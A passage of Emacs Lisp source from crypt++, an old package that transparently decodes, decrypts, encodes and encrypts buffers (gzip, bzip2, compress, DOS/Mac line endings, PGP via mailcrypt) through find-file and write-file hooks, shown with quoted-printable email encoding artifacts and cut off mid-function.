NOTE: (1) this does not affect find-file (C-x C-f) since that works with a magic regexp. (2) there is no way to distinguish between write-file and save-buffer so nil will mean that neither will query.") (defvar crypt-freeze-vs-fortran t "*t says `.F' file extension denotes a frozen file not a Fortran file. If you change this variable after crypt++ has been loaded then do \\[crypt-rebuild-tables].") (defvar crypt-compact-vs-C++ nil "*t says `.C' file extension denotes a compacted file not a C++ file. If you change this variable after crypt++ has been loaded then do \\[crypt-rebuild-tables].") (defvar crypt-ignored-filenames nil "*List of regexp filenames for which encoded to plain conversion is not d= one. A filename with a plain extension, in encoded format, that is matched by on= e of these elements will be saved in encoded format without a query for conversi= on to plain format. This variable is provided for users that want to compress their incoming ma= il for RMAIL and VM which look for files `RMAIL' and `INBOX,' respectively, to store incoming mail. For example, the gzip extensions on `RMAIL.gz' and `INBOX.gz' can be removed, this variable set to '\(\"INBOX$\" \"RMAIL$\"\) = and no query about conversion to plain format will be made.") (defvar crypt-default-encoding "gzip" "*Default encoding type as string used when `crypt-encoded-mode' is toggl= ed. Must match one of the elements of `crypt-encoding-alist'.") (defvar crypt-dos-has-ctrl-z nil "t if this buffer had a ctrl-z stripped from end, otherwise, nil. Buffer local and set by `crypt-dos-to-unix-region'") (make-variable-buffer-local 'crypt-dos-has-ctrl-z) (setq-default crypt-dos-has-ctrl-z nil) (put 'crypt-dos-has-ctrl-z 'permanent-local t) ; for v19 Emacs (put 'crypt-dos-has-ctrl-z 'preserved t) ; for kill-fix.el (defvar crypt-decode-dos-p t "Says whether to decode DOS (\r\n) files.") (defvar crypt-decode-mac-p t "Says whether to decode Mac (\r) files.") (defun crypt-build-encoding-alist () ;; Returns the encoding alist (list ;; compress (list 'compress "\037\235" nil "\\(\\.Z\\)$" "compress" "uncompress" nil nil "Compress" nil t nil) ;; gzip (GNU zip, http://www.gzip.org) (list 'gzip "\037\213" nil "\\(\\.g?z\\)$" "gzip" "gzip" "--quiet" "--decompress --quiet" "Gzip" nil t nil) ;; bzip (list 'bzip "BZ0" nil "\\(\\.bz\\)$" "bzip" "bzip" "" "--decompress" "Bzip" nil t nil) ;; bzip2 (block-sorting, http://www.digistar.com/bzip2/) (list 'bzip2 "BZh" nil "\\(\\.bz2\\)$" "bzip2" "bzip2" "" "--decompress" "Bzip2" nil t nil) ;; freeze (list 'freeze "\037\236\\|\037\237" nil "\\(\\.F\\)$" "freeze" "freeze" "" "-d" "Freeze" nil crypt-freeze-vs-fortran nil) ;; compact (list 'compact "\377\037" nil "\\(\\.C\\)$" "compact" "uncompact" nil nil "Compact" "^Compression *:.*\n" crypt-compact-vs-C++ nil) ;; DOS (crlf) (and crypt-decode-dos-p (list 'dos "[^\n\r]*\r\n" nil "\\(\\.DOS\\)$" 'crypt-unix-to-dos-region 'crypt-dos-to-unix-region nil nil "Dos" nil nil nil)) ;; Mac (cr) (and crypt-decode-mac-p (list 'mac "[ -~]*\r[ -~]" nil "\\(\\.MAC\\)$" 'crypt-unix-to-mac-region 'crypt-mac-to-unix-region nil nil "Mac" nil nil nil)) ) ) (defconst crypt-encoding-alist (crypt-build-encoding-alist) "List of elements describing the encoding methods available. each element looks like \(ENCODING-TYPE MAGIC-REGEXP MAGIC-REGEXP-INVERSE FILE-EXTENSION ENCODE-PROGRAM DECODE-PROGRAM ENCODE-ARGS DECODE-ARGS MINOR-MODE GARBAGE-REGEXP-OR-LISPEXP FILE-EXTENSION-TRICKS ENCRYPTION-KEY-STDIN \) ENCODING-TYPE is a symbol denoting the encoding type. Currently known encodings are (compress compact freeze gzip). MAGIC-REGEXP is a regexp that matches the magic number at the beginning of files encoded with ENCODING-TYPE. MAGIC-REGEXP-INVERSE dummy variable for compatibility with encryption. FILE-EXTENSION is a string denoting the file extension usually appended the filename of files encoded with ENCODING-TYPE. ENCODE-PROGRAM is a string denoting the name of the executable used to encode files. DECODE-PROGRAM is a string denoting the name of the executable used to decode files. ENCODE-ARGS arguments to be passed to ENCODE-PROGRAM may be a string or a list of strings or nil. DECODE-ARGS arguments to be passed to DECODE-PROGRAM may be a string or a list of strings or nil. MINOR-MODE is a string denoting the name for the encoded minor mode as it will appear in the mode line. GARBAGE-REGEXP-OR-LISPEXP is (1) a regexp that matches any extraneous text that is produced by the ENCODE-COMMAND including any newlines and will be removed from the buffer before saving to disk; (2) a lisp expression that w= ill clean up extraneous material in the buffer or nil. This is normally not needed but can be derived for any ENCODE-COMMAND by checking the standard error that results from `sh -c \"cat foo | ENCODE-COMMAND > bar\"'. FILE-EXTENSION-TRICKS is t or nil depending on whether or not tricks converting between different encoding types can be done based on FILE-EXTENSION; typically t. ENCRYPTION-KEY-STDIN is a dummy variable for compatibility with encryption. ") =0C ;;; This allows the user to alter contents of the encoding and encryption ;;; table variables without having to reload all of crypt++. (defun crypt-rebuild-tables () "Rebuilds the encryption and encoding tables and `minor-mode-alist'. Allows user to alter variables used in building these tables. May be called interactively or in an initialization file. Part of `after-init-hook'." (interactive) (setq crypt-encryption-alist (crypt-build-encryption-alist) crypt-encoding-alist (crypt-build-encoding-alist)) (crypt-rebuild-minor-modes-alist)) =0C ;;; Buffer locals. (defvar crypt-buffer-save-encrypted nil "*non-nil says save buffer encrypted with `crypt-encryption-type.' local to all buffers.") (make-variable-buffer-local 'crypt-buffer-save-encrypted) (put 'crypt-buffer-save-encrypted 'permanent-local t) ; for v19 Emacs (put 'crypt-buffer-save-encrypted 'preserved t) ; for kill-fix.el (defvar crypt-buffer-encryption-key nil "*Key used for encryption of current buffer. Local to all buffers.") (make-variable-buffer-local 'crypt-buffer-encryption-key) (put 'crypt-buffer-encryption-key 'permanent-local t) ; for v19 Emacs (put 'crypt-buffer-encryption-key 'preserved t) ; for kill-fix.el (defvar crypt-buffer-save-encoded nil "*non-nil says buffer will be saved encoded. Local to all buffers.") (make-variable-buffer-local 'crypt-buffer-save-encoded) (put 'crypt-buffer-save-encoded 'permanent-local t) ; for v19 Emacs (put 'crypt-buffer-save-encoded 'preserved t) ; for kill-fix.el (defvar crypt-buffer-encoding-type nil "*non-nil says buffer is encoded with ENCODING-TYPE. Local to all buffer= s.") (make-variable-buffer-local 'crypt-buffer-encoding-type) (put 'crypt-buffer-encoding-type 'permanent-local t) ; for v19 Emacs (put 'crypt-buffer-encoding-type 'preserved t) ; for kill-fix.el (defvar crypt-buffer-interactive-encoded-mode nil "t says `crypt-encoded-mode' was toggled interactively, almost always nil. Local to all buffers.") (make-variable-buffer-local 'crypt-buffer-interactive-encoded-mode) (put 'crypt-buffer-interactive-encoded-mode 'permanent-local t) ; v19 Emacs (put 'crypt-buffer-interactive-encoded-mode 'preserved t) ; kill-fix.= el =0C ;;; Functions and macros that search `crypt-encryption-alist' and ;;; `crypt-encoding-alist'. (defun crypt-get-alist-member (type n) ;; Returns TYPE's Nth element (nth n (or (assoc type crypt-encryption-alist) (assoc type crypt-encoding-alist)))) (defmacro crypt-get-magic-regexp (type) ;; Returns regexp found at top of files encoded/encrypted with TYPE. (list 'crypt-get-alist-member type 1)) (defmacro crypt-get-magic-regexp-inverse (type) ;; Returns regexp *not* found at top of files encoded/encrypted with TYPE. (list 'crypt-get-alist-member type 2)) (defmacro crypt-get-file-extension (type) ;; Returns regexp matching extension of files encoded/encrypted with TYPE. (list 'crypt-get-alist-member type 3)) (defmacro crypt-get-encoding-program (type) ;; Returns name of program, as string, used to encode/encrypt with TYPE. (list 'crypt-get-alist-member type 4)) (defmacro crypt-get-decoding-program (type) ;; Returns name of program, as string, used to decode/decrypt with TYPE. (list 'crypt-get-alist-member type 5)) (defmacro crypt-get-encoding-args (type) ;; Returns arguments passed to program used to encode/encrypt with TYPE. (list 'crypt-get-alist-member type 6)) (defmacro crypt-get-decoding-args (type) ;; Returns arguments passed to program used to decode/decrypt with TYPE. (list 'crypt-get-alist-member type 7)) (defmacro crypt-get-minor-mode-name (type) ;; Returns minor mode name, as string, for encoding/encrypting with TYPE. (list 'crypt-get-alist-member type 8)) (defmacro crypt-get-cleanup-regexp (type) ;; Returns regexp or lisp-exp for cleaning up encoding/encrypting with TY= PE. (list 'crypt-get-alist-member type 9)) (defmacro crypt-get-extension-tricks (type) ;; Returns t if file extension tricks doable for encoding/encrypting with ;; TYPE. (list 'crypt-get-alist-member type 10)) (defmacro crypt-get-encryption-key-stdin (type) ;; Returns t if encryption program takes passphrase on stdin, or nil ;; if at end of command line. (list 'crypt-get-alist-member type 11)) (defun crypt-buffer-save-name (type) ;; Returns variable `crypt-buffer-save-TYPE', set to t if encoding with T= YPE. ;; local to all buffers. (intern (concat "crypt-buffer-save-" (symbol-name type)))) =0C ;;; Create a buffer-local variable for each type of encoding. ;;; These variables are used to trigger the minor mode names. (defun crypt-build-minor-mode-alist () ;; Returns minor mode alist entries for encoded and encrypted buffers. (append ;; First the encrypted minor mode -- only one. (list (list 'crypt-buffer-save-encrypted (concat " " (crypt-get-minor-mode-name crypt-encryption-type= )))) ;; Now the encoding minor modes. (mapcar (function (lambda (element) (let ((variable (crypt-buffer-save-name (car element)))) (make-variable-buffer-local variable) (put variable 'permanent-local t) ; for v19 Emacs (put variable 'preserved t) ; for kill-fix.el (list variable (concat " " (crypt-get-minor-mode-name (car element))))))) crypt-encoding-alist))) (defconst crypt-minor-mode-alist (crypt-build-minor-mode-alist) "Alist containing encoded and encrypted minor modes. Derived from variable `crypt-encoding-alist' and function `crypt-build-minor-mode-encrypted'") (defun crypt-rebuild-minor-modes-alist () ;; Rebuilds the encryption and encoding minor modes and `minor-mode-alist= =2E' ;; Allows user to alter variables used in building this alist. Called by ;; `crypt-rebuild-tables' and so part of `after-init-hook'." ;; First remove old crypt minor mode entries from `minor-mode-alist'. (if (memq (car crypt-minor-mode-alist) minor-mode-alist) (let ((alist crypt-minor-mode-alist) elt) (while (and alist (setq elt (car alist))) (setq minor-mode-alist (delq elt minor-mode-alist) alist (cdr alist))))) ;; Get new crypt minor mode entries and add to minor-mode-alist. (setq crypt-minor-mode-alist (crypt-build-minor-mode-alist) minor-mode-alist (append crypt-minor-mode-alist minor-mode-alist))) =0C (defmacro crypt-save-point (&rest body) ;; Save value of point, evaluate FORMS, and restore value of point. If t= he ;; saved value of point is no longer valid go to (point-max). This macro ;; exists because, save-excursion loses track of point during some types = of ;; deletions. (let ((var (make-symbol "saved-point"))) (list 'let (list (list var '(point))) (list 'unwind-protect (cons 'progn body) (list 'goto-char var))))) =0C ;; Hook run for decoding and/or decrypting the contents of a buffer. Meant ;; to be called as part of `find-file-hooks'. ;;=20 (defun crypt-find-file-hook () ;(message "starting crypt-find-file-hook") ;(message "buffer at file hook:\n%s\n--end" (buffer-string)) (let ((buffer-file-name buffer-file-name) (old-buffer-file-name buffer-file-name) (old-buffer-modified-p (buffer-modified-p)) (case-fold-search nil) ; case-sensitive (binary-process-input t) ; Win32 (binary-process-output t) ; Win32 encrypted encoded buffer-read-only) ;; DECODE AND/OR DECRYPT (crypt-save-point ;; Do we have to DECODE? If not, then move on. (if (and (crypt-encoded-p) (or crypt-auto-decode-buffer (y-or-n-p (format "Decode %s? " (buffer-name))))) ;; Decode, uncompress, the buffer. (progn ;; This is ugly, but it makes tar-mode recognize and decode the ;; buffer after we uncompress it. We should at least use the ;; regexps already defined in the table. (if (and (not (null buffer-file-name)) (string-match "\\.Z$" buffer-file-name)) (set-visited-file-name (substring buffer-file-name 0 (match-beginning 0)))) (if (and (not (null buffer-file-name)) (string-match "\\.g?z$" buffer-file-name)) (set-visited-file-name (substring buffer-file-name 0 (match-beginning 0)))) (if (and (not (null buffer-file-name)) (string-match "\\.bz2?$" buffer-file-name)) (set-visited-file-name (substring buffer-file-name 0 (match-beginning 0)))) (if (and (not (null buffer-file-name)) (string-match "\\.tgz$" buffer-file-name)) (set-visited-file-name (concat (substring buffer-file-name 0 (match-beginning 0)) ".tar"))) (if (and (not (null buffer-file-name)) (string-match "\\.tbz$" buffer-file-name)) (set-visited-file-name (concat (substring buffer-file-name 0 (match-beginning 0)) ".tar"))) (message "Decoding %s..." (buffer-name)) (crypt-encode-buffer t) ;; Store the encoding mode. ;; We can not yet go into the minor modes because the major mode ;; may change later on and blow away all local variables (and th= us ;; the minor modes). Only needed for vanilla v18. Our ;; buffer-locals defined 'permanent-local for v19 Emacs and ;; 'preserved for kill-fix.el. (setq encoded crypt-buffer-encoding-type) ;; Strip encoded file's extension so later we can set buffer's ;; major mode based on its file-name sans encoding extension. (if (string-match (crypt-get-file-extension crypt-buffer-encoding-type) buffer-file-name) (setq buffer-file-name (substring buffer-file-name 0 (match-beginning 1)))) ;; Decoding ends. (if (not (input-pending-p)) (message "Decoding %s... done" (buffer-name))))) ;; Do we have to DECRYPT? If not, then move on. (if (crypt-encrypted-p) ;; Decrypt buffer. (progn (message "Decrypting %s..." (buffer-name)) (crypt-encrypt-buffer crypt-buffer-encryption-key t) ;; Save key in case major mode blows all buffer-locals. ;; Only needed for vanilla v18. Our buffer-locals defined ;; 'permanent-local for v19 Emacs and 'preserved for ;; kill-fix.el. (setq encrypted crypt-buffer-encryption-key) ;; Strip encrypted file's extension so later we can set buffer's ;; major mode based on its file-name sans encrypting extension. (if (and (crypt-get-extension-tricks crypt-encryption-type) (string-match (crypt-get-file-extension crypt-encryption-type) buffer-file-name)) (setq buffer-file-name (substring buffer-file-name 0 (match-beginning 1)))) (if (not (input-pending-p)) (message "Decrypting %s... done" (buffer-name)))))) ;; MAJOR AND MINOR MODES ;; OK, if any changes have been made to the buffer we need to rerun the ;; code the does automatic selection of major mode. (if (or encoded encrypted) (progn ;; Set the major mode. (set-auto-mode) (hack-local-variables) ;; Now set our own minor mode(s). (if encoded ;; Recover encoding type, may have been smashed by major mode, ;; and toggle encoded mode. (progn (setq crypt-buffer-encoding-type encoded) (crypt-encoded-mode 1))) (if encrypted ;; Recover encryption key, may have been smashed by major mod= e, ;; and toggle encrypted mode. (progn (setq crypt-buffer-encryption-key encrypted) (crypt-encrypted-mode 1))) ;; Restore buffer file name now, so that lock file entry is remov= ed ;; properly. (setq buffer-file-name old-buffer-file-name) ;; Restore buffer modified flag to its previous value. Will also ;; remove lock file entry for buffer if previous value was nil. ;; This is why buffer-file-name had to be restored manually above. (set-buffer-modified-p old-buffer-modified-p))))) (defun crypt-encoded-p (&optional buffer) ;; Returns t if current buffer, or optionally BUFFER, is encoded. ;; Sets `crypt-buffer-encoding-type' to encoding method. (save-excursion (and buffer (set-buffer buffer)) (save-restriction (widen) (goto-char (point-min)) (let ((alist crypt-encoding-alist) elt found) (while (and alist (setq elt (car alist)) (not found)) (if (looking-at (nth 1 elt)) (setq crypt-buffer-encoding-type (nth 0 elt) found t) ;; Decrement (setq alist (cdr alist)))) found)))) (defun crypt-encrypted-p (&optional buffer) ;; Returns t if current buffer, or optionally BUFFER, is encrypted. ;; Look for MAGIC-REGEXP and absence of MAGIC-REGEXP-INVERSE. If so, then ;; assume it is an encrypted buffer. ;; Sets `crypt-buffer-encryption-key' to password if not set already. ;; Do not try to decrypt buffer if not wanted. (if (not crypt-never-ever-decrypt) (save-excursion (and buffer (set-buffer buffer)) (save-restriction (widen) (goto-char (point-min)) (let ((magic-regexp (crypt-get-magic-regexp crypt-encryption-type= )) (magic-regexp-inverse (crypt-get-magic-regexp-inverse crypt-encryption-type)) (limit (min (point-max) crypt-magic-search-limit))) ;; Check all encryption conditions. If any fail, then return n= il ;; value of this if-form, else check for password. (if (and ;; Check for existence of MAGIC-REGEXP. (if (stringp magic-regexp) ;; regular expression (re-search-forward magic-regexp limit t) ;; lisp expression (eval magic-regexp)) (goto-char (point-min)) ;; Check for absence of MAGIC-REGEXP-INVERSE. (not (if (stringp magic-regexp-inverse) ;; regular expression (re-search-forward magic-regexp-inverse limit t) ;; lisp expression (eval magic-regexp-inverse)))) (progn ;; Get key, i.e., the password? (or crypt-buffer-encryption-key ;; Do not confirm on reading an encrypted file. (let ((crypt-confirm-password nil)) (call-interactively 'crypt-set-encryption-key))) ;; Do not turn on encryption mode if no key: may be a bin= ary ;; file. Thanks to Paul Dworkin (paul@media-lab.media.mi= t.edu). (if (equal crypt-buffer-encryption-key "") ;; Return nil. (progn (message "No key given. Assumed normal.") nil) ;; Return t. t)))))))) =0C ;;; (defun crypt-check-extension-for-encoding () ;; Checks file extensions for possible toggling of encoding modes. Used = for ;; buffers to be written to disk and called by `crypt-write-file-hook' ;; We try to flag a buffer to be written out in encoded form if the file ;; ends in one of the file-extensions in `crypt-encoding-alist' even if ;; `crypt-buffer-save-encoded' is nil. Conversely, we try to write out a ;; buffer as a plain file if it does _not_ end in one of these ;; file-extensions even if `crypt-buffer-save-encoded' is non-nil. (let ((alist crypt-encoding-alist) (case-fold-search nil) found elt) ;; Search through the file name extensions for a match. (while (and alist (setq elt (car alist)) (not found)) (if (string-match (nth 3 elt) buffer-file-name) (setq found t) ;; Decrement. (setq alist (cdr alist)))) ;; Did we find a match? (if found ;; File name ends in a very provocative extension. ;; Check to see if already an encoded file. (if crypt-buffer-save-encoded ;; Already encoded - do the methods of encoding match? (if (not (eq (nth 0 elt) crypt-buffer-encoding-type)) ;; A new encoding method is desired. ;; Can we play some filename extension tricks with the ;; destination extension? (if (crypt-get-extension-tricks (nth 0 elt)) ;; Can play tricks. ;; Change the method of encoding? (if (crypt-y-or-n-p (format "Write %s using %s? " (buffer-name) (nth 4 elt))) ;; Case one. ;; Turn off original encoding and turn on new encod= ing. (progn (crypt-encoded-mode -1) (setq crypt-buffer-encoding-type (nth 0 elt)) (crypt-encoded-mode 1))) ;; Can not play tricks - maybe wants a plain file? (if (crypt-y-or-n-p (format "Write %s a plain file? " (buffer-name))) ;; Case three. ;; Turn off the minor mode and _then_ the flags. (progn (crypt-encoded-mode -1) (setq crypt-buffer-save-encoded nil crypt-buffer-encoding-type nil))))) ;; Was a plain file. (if (and ;; Can we play some filename extension tricks? ;; If not then we must abort. (crypt-get-extension-tricks (nth 0 elt)) (crypt-y-or-n-p (format "Write %s using %s? " (buffer-name) (nth 4 elt)))) ;; Case two. ;; Turn on encoding flags and _then_ the minor mode. (progn (setq crypt-buffer-save-encoded t crypt-buffer-encoding-type (nth 0 elt)) (crypt-encoded-mode 1)))) ;; No match - a plain-jane file extension - but if the encoded flag is ;; non-nil then the user may really want it written out in plain ;; format so we must override this flag. (if (and crypt-buffer-save-encoded ;; Search the list of files to be ignored. ;; If `crypt-ignored-filenames' is nil then this let form ;; will return t. If a match is found this form will return ;; nil. Otherwise it will return t. (let ((tlist crypt-ignored-filenames) case-fold-search found elt) ;; Search through the list of filenames for a match. (while (and tlist (setq elt (car tlist)) (not found)) (if (string-match elt buffer-file-name) (setq found t) ;; Decrement. (setq tlist (cdr tlist)))) ;; Return t if we can _not_ find a match. (not found)) ;; If `(crypt-encoded-mode)' was called interactively, then ;; there is a high probability that no matter what the file ;; name extension the user wishes to write the file out in s= ome ;; encoded format. Thanks to Kimball Collins ;; for pointing out the need for ;; this. Unfortunately, still can not distinguish between ;; write-file and save-buffer. In the former the user may w= ant ;; to write in plain format (or indeed some other format). (if crypt-buffer-interactive-encoded-mode ;; Interactive crypt-query-if-interactive ;; Non-interactive but still may want encoded format. crypt-no-extension-implies-plain) (crypt-y-or-n-p (format "Write %s as a plain file? " (buffer-name)))) ;; Case three. ;; Turn off the minor mode and _then_ the flags. (progn (crypt-encoded-mode -1) (setq crypt-buffer-save-encoded nil crypt-buffer-encoding-type nil)))))) =0C (defun crypt-y-or-n-p (prompt) ;; Queries user based on `crypt-auto-write-buffer' and internal buffer-lo= cal ;; variable `crypt-auto-write-answer-local'. Returns value of ;; `crypt-auto-write-answer-local', which is t or nil. ;; Check if we need to ask user. Should be 'ask, nil, or t. (if (eq crypt-auto-write-answer-local 'ask) ; Default value. ;; We may need to ask. (or crypt-auto-write-buffer ;; Ask and store the answer. ;; Note: we only store if we asked. (setq crypt-auto-write-answer-local (y-or-n-p prompt))) ;; Use previous answer. crypt-auto-write-answer-local)) ; Will be nil or t. =0C ;;; This function should be called ONLY as a write-file hook. ;;; Odd things will happen if it is called elsewhere. (defun crypt-write-file-hook () ;; Hook for possibly writing out file, and backup file, in a non-plain ;; format. Terminates calls in `write-file-hooks' and should be at end of ;; list. (let ((binary-process-input t) ; Win32 (binary-process-output t) ; Win32 (inhibit-read-only t) ; else we lose on read-only properties ) ;; Check file-extension for possible toggling of encoding modes. (crypt-check-extension-for-encoding) ;; Check extension for encryption. (if (and ;; Maybe file ends with provocative extension w.r.t. encryption? (stringp (crypt-get-file-extension crypt-encryption-type)) (let ((case-fold-search nil)) ; Make case-sensitive. (string-match (crypt-get-file-extension crypt-encryption-type) buffer-file-name)) ;; Can we play tricks? (crypt-get-extension-tricks crypt-encryption-type) ;; Match of filename extension - is file in plain format? (not crypt-buffer-save-encrypted) ;; Query? (or crypt-auto-write-buffer-encrypted (y-or-n-p (format "Write %s as an encrypted file? " (buffer-name))))) (progn ;; Set password and toggle `crypt-encrypted-mode' (if (eq crypt-encryption-type 'pgp-pub) (crypt-set-encryption-key "dummy-key") (call-interactively 'crypt-set-encryption-key)) (crypt-encrypted-mode 1))) ;; Now decide whether or not we need to continue with this defun. Does the ;; buffer need to be saved in a non-plain form? If not then writing is n= ot ;; done here but later in the write-file-hooks - probably at the end. (if (or crypt-buffer-save-encoded crypt-buffer-save-encrypted) (save-excursion (save-restriction (let ;; BINDINGS ((copy-buffer (get-buffer-create " *crypt copy buffer*")) (selective-display selective-display) (buffer-read-only)) ;; FORMS (copy-to-buffer copy-buffer 1 (1+ (buffer-size))) (narrow-to-region (point) (point)) (unwind-protect ;; BODYFORM (let (setmodes) ;; As of v19, if one of functions of the `write-file-hook= s' ;; returns a non-nil value, then `basic-save-buffer' no ;; longer creates a backup file. We must do it ourselves. ;; this should be a no-op in v18. (or buffer-backed-up (setq setmodes (backup-buffer))) (insert-buffer-substring copy-buffer) (kill-buffer copy-buffer) ;; "Who would cross the Bridge of Death ;; Must answer me ;; These questions three ;; Ere the other side he see." ;; ;; Bridgekeeper from Monty Python and the Holy Grail ;; [1] selective-display non-nil means we must convert ;; carriage returns to newlines now, and set the variable ;; selective-display temporarily to nil. (if selective-display (progn (goto-char (point-min)) (subst-char-in-region (point-min) (point-max) ?\r ?= \n) (setq selective-display nil))) ;; [2] encryption (if crypt-buffer-save-encrypted (progn ;; check for password (if (not crypt-buffer-encryption-key) (call-interactively 'crypt-set-encryption-key)) (if (null crypt-buffer-encryption-key) (error "No encryption key set for buffer %s" (buffer-name))) (if (not (stringp crypt-buffer-encryption-key)) (error "Encryption key is not a string")) (message "Encrypting %s..." (buffer-name)) (crypt-encrypt-buffer crypt-buffer-encryption-key))) ;; [3] encoding (if crypt-buffer-save-encoded (progn (message "Encoding %s..." (buffer-name)) (crypt-encode-buffer))) ;; Now write buffer/region to disk. (write-region (point-min) (point-max) buffer-file-name ni= l t) (delete-region (point-min) (point-max)) (set-buffer-modified-p nil) ;; Now that the file is written, set its modes. (if setmodes (condition-case () (set-file-modes buffer-file-name setmodes) (error nil))) ;; Return t so that `basic-save-buffer' will know that the ;; save has already been done. ;; NOTE: this TERMINATES write-file-hooks so any hooks ;; following this one will not be executed. t ) ;; UNWINDFORMS ;; unwind...sit back...take a load off...have a beer ;; If the encoded and encrypted stuff has already been removed ;; then this is a no-op. This form is executed if BODYFORM ;; completes normally but the value of BODYFORM is returned - ;; i.e., t is returned. (delete-region (point-min) (point-max))))))))) =0C ;;;; ENCRYPTION (defvar crypt-pgp-pub-library 'mailcrypt "What PGP library to use. Bind to 'npgp to use \"PEM - PGP Enhanced Messaging for GNU Emacs\" =66rom Roy Frederick Busdiecker, III (Rick) or to 'mailcrypt (see also crypt-pgp-pub-sub-library).") (defvar crypt-pgp-pub-sub-library 'pgp50 "What variant of mailcrypt 3.5.x to use: 'pgp, 'pgp50, 'gpg.") (defvar crypt-pgp-pub-npgp-userid nil "PGP key for the current user.") (defvar crypt-pgp-pub-npgp-key-id nil "Keyid of PGP key for the current user. Useful if your \\[user-full-name] doesn't match a unique key. Should have a leading 0x.") (defvar crypt-pgp-pub-multirecipients t "If t, enables prompts for user so when a file is saved, he/she has the o= pportunity to enter users for whom the file should be encrypted. nil encryp= ts only with the user's public key without prompts") (defvar crypt-pgp-pub-recipient-history nil "History list of previous entered recipients") (defvar crypt-pgp-pub-recipients nil "Comma-separated string containing the names of all the people who's priv= ate keys could decrypt this file (e.g. recipients, if the file was an email= )") (defun crypt-pgp-pub-clear-recipients () "Clear the recipient list, forcing crypt++ to ask you for the people who'= s public keys you wish to encrypt the message with" (interactive) (setq crypt-pgp-pub-recipients nil) ) (defun crypt-pgp-pub-npgp-userid () "Return crypt-pgp-pub-npgp-userid, initializing it if necessary." (require 'pam) (if (and crypt-pgp-pub-npgp-userid npgp:*pass-phrases*) crypt-pgp-pub-npgp-userid (setq crypt-pgp-pub-npgp-userid (list (if crypt-pgp-pub-npgp-key-id (npgp:get-key-by-key-id crypt-pgp-pub-npgp-key-id) (pam:read-name-key (user-full-name))))))) (defun crypt-pgp-pub-mailcrypt-userid () "Do the right thing." (require 'mailcrypt) (cond ((eq crypt-pgp-pub-sub-library 'pgp) (car (mc-pgp-lookup-key mc-pgp-user-id))) ((eq crypt-pgp-pub-sub-library 'pgp50) (car (mc-pgp50-lookup-key mc-pgp50-user-id))) ((eq crypt-pgp-pub-sub-library 'gpg) (car (mc-gpg-lookup-key mc-gpg-user-id))) (t (error "crypt-pgp-pub-mailcrypt-userid: no pgp sub-library.")))) =20 (defun crypt-pgp-pub-load-mailcrypt () (require 'mailcrypt) ;; ick ick ick this code needs to be cleaned up (cond ((null (eq crypt-pgp-pub-library 'mailcrypt)) t) ((eq crypt-pgp-pub-sub-library 'pgp) (load-library "mc-pgp")) ((eq crypt-pgp-pub-sub-library 'pgp50) (load-library "mc-pgp5")) ((eq crypt-pgp-pub-sub-library 'gpg) (load-library "mc-gpg")) (t (error "crypt-pgp-pub-load-mailcrypt: no pgp sub-library.")))) (defun crypt-pgp-pub-decrypt-region (start end) (cond ((eq crypt-pgp-pub-library 'npgp) (npgp:decrypt-region start end)) ((eq crypt-pgp-pub-library 'mailcrypt) (crypt-pgp-pub-load-mailcrypt) (cond ((eq crypt-pgp-pub-sub-library 'pgp) (mc-pgp-decrypt-region start end)) ((eq crypt-pgp-pub-sub-library 'pgp50) (mc-pgp50-decrypt-region start end)) ((eq crypt-pgp-pub-sub-library 'gpg) (mc-gpg-decrypt-region start end)) (t (error "crypt-pgp-pub-decrypt-region: no decryption sub-library."))= )) (t (error "crypt-pgp-pub-decrypt-region: no decryption library.")))) (defun crypt-pgp-pub-encrypt-region (start end) (cond ((eq crypt-pgp-pub-library 'npgp) (npgp:encrypt-region (crypt-pgp-pub-npgp-userid) start end)) ((eq crypt-pgp-pub-library 'mailcrypt) (crypt-pgp-pub-load-mailcrypt) (let ((old-sign mc-pgp-always-sign) old-comment recipients) (if crypt-pgp-pub-multirecipients (if (eq (length crypt-pgp-pub-recipients) 0) (progn (if (y-or-n-p (concat "Encrypt with your public key (" (crypt-pgp-pub-mailcrypt-userid) ")? ")) (setq crypt-pgp-pub-recipients (concat (crypt-pgp-pub-mailcrypt-userid) ",")) (setq crypt-pgp-pub-recipients "")) (setq crypt-pgp-pub-recipients (concat crypt-pgp-pub-recipients (read-string "Recipients: " nil crypt-pgp-pub-recipient-history))))) (setq crypt-pgp-pub-recipients (crypt-pgp-pub-mailcrypt-userid))) (setq mc-pgp-always-sign 'never recipients (mc-split "\\([ \t\n]*,[ \t\n]*\\)+" crypt-pgp-pub-recipien= ts)) (cond ((eq crypt-pgp-pub-sub-library 'pgp) (setq old-comment mc-pgp-comment mc-pgp-comment nil) (mc-pgp-encrypt-region recipients start end (crypt-pgp-pub-mailcrypt-userid) nil) (setq mc-pgp-comment old-comment)) ((eq crypt-pgp-pub-sub-library 'pgp50) (setq old-comment mc-pgp50-comment mc-pgp50-comment nil) (mc-pgp50-encrypt-region recipients start end (crypt-pgp-pub-mailcrypt-userid) nil) (setq mc-pgp50-comment old-comment)) ((eq crypt-pgp-pub-sub-library 'gpg) (setq old-comment mc-gpg-comment mc-gpg-comment nil) (mc-gpg-encrypt-region recipients start end (crypt-pgp-pub-mailcrypt-userid) nil) (setq mc-gpg-comment old-comment)) (t (error "crypt-pgp-pub-decrypt-region: no encryption sub-library."= ))) (setq mc-pgp-always-sign old-sign))) (t (error "crypt-pgp-pub-encrypt-region: no encryption library.")))) (defun crypt-encrypt-region (start end key &optional decrypt) "Encrypt region START to END using KEY and `crypt-encryption-type'. When called interactively START and END default to point and mark \(START being = the lesser of the two\), and KEY is prompted for. With optional DECRYPT non-ni= l, decryption is done." (interactive (let (decrypt) (barf-if-buffer-read-only) (list (region-beginning) (region-end) (crypt-read-string-no-echo (concat (if (setq decrypt (y-or-n-p "Decrypt region? ")) "De" "= En") "crypt buffer using key: ") ;; Do not confirm on decrypting region. (if (not decrypt) crypt-confirm-password)) decrypt))) (crypt-save-point ;; We define the PROGRAM as the encryption program or decryption program ;; listed for `crypt-encryption-type' of `crypt-encryption-alist.' These ;; should be just the name of the executable and should _not_ contain any ;; arguments. `(call-process-region)' would be confused if we tried to ;; pass the arguments as part of the PROGRAM. The arguments are passed ;; through the encryption args or decryption args listed for ;; `crypt-encryption-type' of `crypt-encryption-alist.' ;; Thanks to Joe Ilacqua and others for pointing o= ut ;; an error that occurs with some encryption programs (e.g., the crypt f= rom ;; Sun Microsystems, HPUX-8, and BSD) if `args' is `"".' This will allow ;; nil values and lists of strings for argument. (let ((coding-system-for-write 'no-conversion) (coding-system-for-read 'no-conversion) prog args) ;; Get the proper program and arguments. (if decrypt (setq prog (crypt-get-decoding-program crypt-encryption-type) args (crypt-get-decoding-args crypt-encryption-type)) (setq prog (crypt-get-encoding-program crypt-encryption-type) args 